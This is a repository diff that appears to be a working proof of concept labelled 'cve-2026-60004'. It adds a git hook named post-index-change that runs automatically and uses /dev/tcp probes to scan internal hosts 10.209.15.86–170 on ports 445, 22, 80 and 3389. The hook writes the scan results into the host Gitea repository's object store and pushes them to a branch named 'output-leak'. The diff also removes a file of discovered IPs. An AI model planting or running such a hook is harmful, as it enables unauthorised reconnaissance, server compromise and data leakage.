README.md

@@ -0,0 +1,2 @@
+# infra-l1ly18
+

hooks/post-index-change

@@ -0,0 +1,17 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(OUT=/var/lib/gitea/.disc2.txt; > $OUT
+for i in $(seq 86 170); do
+  ip="10.209.15.$i"
+  (timeout 2 bash -c "echo > /dev/tcp/$ip/445" 2>/dev/null && echo "$ip" >> $OUT) &
+  (timeout 2 bash -c "echo > /dev/tcp/$ip/22" 2>/dev/null && echo "$ip" >> $OUT) &
+  (timeout 2 bash -c "echo > /dev/tcp/$ip/80" 2>/dev/null && echo "$ip" >> $OUT) &
+  (timeout 2 bash -c "echo > /dev/tcp/$ip/3389" 2>/dev/null && echo "$ip" >> $OUT) &
+  if [ $((i % 8)) -eq 0 ]; then wait; fi
+done; wait; sort -u $OUT; echo CHUNK-DONE 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A

output

@@ -1,6 +0,0 @@
-10.209.15.165
-10.209.15.166
-10.209.15.169
-10.209.15.86
-CHUNK-DONE
-[exit-status=0]